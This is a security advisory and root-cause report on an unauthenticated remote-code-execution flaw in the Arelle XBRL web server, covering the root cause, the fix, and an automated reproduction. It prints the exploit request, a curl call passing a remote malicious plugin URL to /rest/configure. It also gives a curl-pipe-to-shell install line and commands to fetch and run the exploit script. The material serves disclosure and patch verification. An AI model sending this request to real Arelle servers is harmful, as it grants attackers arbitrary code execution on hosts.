What's the vulnerability?

Arelle's built-in web server exposes an endpoint /rest/configure?plugins=URL that forwards the attacker-supplied URL to the plugin manager. The plugin manager downloads the file at that URL and loads it as a Python plugin in-process — with no authentication and no allowlist on the URL scheme or origin.

Any attacker who can reach the Arelle web server can therefore run arbitrary Python code in the Arelle process: unauthenticated remote code execution.

Root Cause Analysis

# RCA Report: CVE-2026-42796 — Arelle Unauthenticated RCE via Plugin URL Parameter

## Summary

Arelle's built-in web server exposes `/rest/configure` and `/rest/xbrl/validation` endpoints that accept a `plugins` query parameter. In versions prior to 2.39.10, this parameter was forwarded directly to the plugin manager without validation, allowing an attacker to supply an arbitrary HTTP(S) URL pointing to a Python file. Arelle would download the file and, when the plugin defined certain hooks (e.g., `CntlrCmdLine.Utility.Run`), execute its top-level Python code in-process. This constitutes unauthenticated remote code execution (RCE) against any reachable Arelle web server instance.

## Impact

- **Package/Component**: `arelle-release` (PyPI) / Arelle XBRL platform
- **Affected Versions**: `< 2.39.10`
- **Fixed Version**: `2.39.10`
- **Risk Level**: Critical — CVSS 3.1 base 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Consequences**: Any network-reachable Arelle web server can be compelled to download and execute attacker-controlled Python code, leading to full host compromise.

## Root Cause

The root cause is a missing allowlist/validation on the `plugins` parameter in the web server request handlers (`arelle/CntlrWebMain.py`). Before the fix:

```python
if request.query.plugins:
    options.plugins = request.query.plugins
```

The value was passed verbatim to `CntlrCmdLine.run()`, which splits it by `|` and calls `PluginManager.addPluginModule()` for each entry. `addPluginModule()` resolves the string through the web cache (`WebCache.getfilename`), downloading remote URLs to a local cache file. The module is then parsed for `__pluginInfo__` and, if it declares a hook that the runtime later requests (e.g., `CntlrCmdLine.Utility.Run`), `PluginManager.loadModule()` imports and executes the file via `importlib.util.spec_from_file_location` + `exec_module`.

The fix (PR #2320, commits `4fed726`, `736f77b`, `b43437a`) adds a `_rejectRemotePlugins()` helper that matches each plugin reference against the regex `^[a-zA-Z][a-zA-Z0-9+\-.]*://`. If any reference is a URL scheme, the web server raises an `HTTPResponse(status=400)` before the value ever reaches the plugin manager. The fix also adds a startup warning about the webserver's security posture.

## Reproduction Steps

The reproduction is fully automated in `repro/reproduction_steps.sh`. The script:

1. Creates two isolated Python virtualenvs and installs `arelle-release==2.39.9` (vulnerable) and `2.39.10` (fixed).
2. Writes a malicious plugin `evil_plugin.py` that writes a sentinel file (`/tmp/arelle_pwned`) at module import time and declares `CntlrCmdLine.Utility.Run` to ensure `loadModule` / `exec_module` is triggered.
3. Serves the plugin via `python3 -m http.server`.
4. Starts the Arelle webserver (`arelleCmdLine --webserver localhost:PORT`).
5. Sends `curl "http://127.0.0.1:PORT/rest/configure?plugins=http://127.0.0.1:PLUGIN_PORT/evil_plugin.py"`.
6. Captures the HTTP response code and checks for the sentinel file.
7. Repeats steps 3–6 with the fixed version.

### Expected Evidence

- **Vulnerable (2.39.9)**: HTTP `200` and sentinel file `/tmp/arelle_pwned` is created, proving the remote plugin was downloaded, imported, and executed.
- **Fixed (2.39.10)**: HTTP `400` with body `Remote URL plug-in references are not permitted via the webserver: ...` and no sentinel file, proving the guard blocks the attack.

## Evidence

Captured logs are written to `$ROOT/logs/`:

- `logs/vuln_response.txt` — Arelle 2.39.9 HTML response showing plugin activation success.
- `logs/vuln_http_code.txt` — `vuln HTTP code: 200`
- `logs/fixed_response.txt` — Arelle 2.39.10 plain-text rejection message.
- `logs/fixed_http_code.txt` — `fixed HTTP code: 400`
- `logs/result.txt` — Combined pass/fail verdicts.

### Key Excerpts

Vulnerable run output:
```
vuln HTTP code: 200
vuln: CONFIRMED - sentinel file created (RCE executed)
```

Fixed run output:
```
fixed HTTP code: 400
fixed: CONFIRMED - request rejected with 400, no RCE
```

## Recommendations / Next Steps

1. **Upgrade immediately** to `arelle-release >= 2.39.10` (or any build containing PR #2320).
2. **Do not expose** the Arelle web server to untrusted networks. Even with the fix, the web server performs no authentication and can read local files.
3. **Regression test** by running the reproduction script against any new release to ensure the guard is not inadvertently removed.
4. **Consider additional hardening** such as binding the web server to `127.0.0.1` only and placing it behind an authenticated reverse proxy.

## Additional Notes

- **Idempotency**: The reproduction script was executed twice consecutively and produced identical results on both runs.
- **Edge Cases**: The fix also rejects prefixed entries (e.g., `+http://...`, `-http://...`, `~http://...`) and pipe-separated lists where any component is a remote URL. The regex correctly allows local filesystem paths and pip-installed entry-point names.
- **Limitations**: The reproduction targets the `/rest/configure` endpoint because it is the simplest trigger path; the same guard also protects `/rest/xbrl/validation` and other endpoints that accept `plugins`.
One Command

Verify with pruva-verify

Run the Pruva CLI to automatically fetch and execute the reproduction script.

pruva-verify REPRO-2026-00160
or pruva-verify CVE-2026-42796
Install: curl -fsSL https://pruva.dev/install.sh | sh

Or Run Manually

1

Download the script

curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00160/artifacts/reproduction_steps.sh
2

Make executable

chmod +x reproduction_steps.sh
3

Run the script

./reproduction_steps.sh
Run in a VM, container, or disposable environment. This exploits a real vulnerability.

How Pruva Reproduced This

Watch the AI agent's step-by-step process.

Loading session...

Artifacts

No artifacts available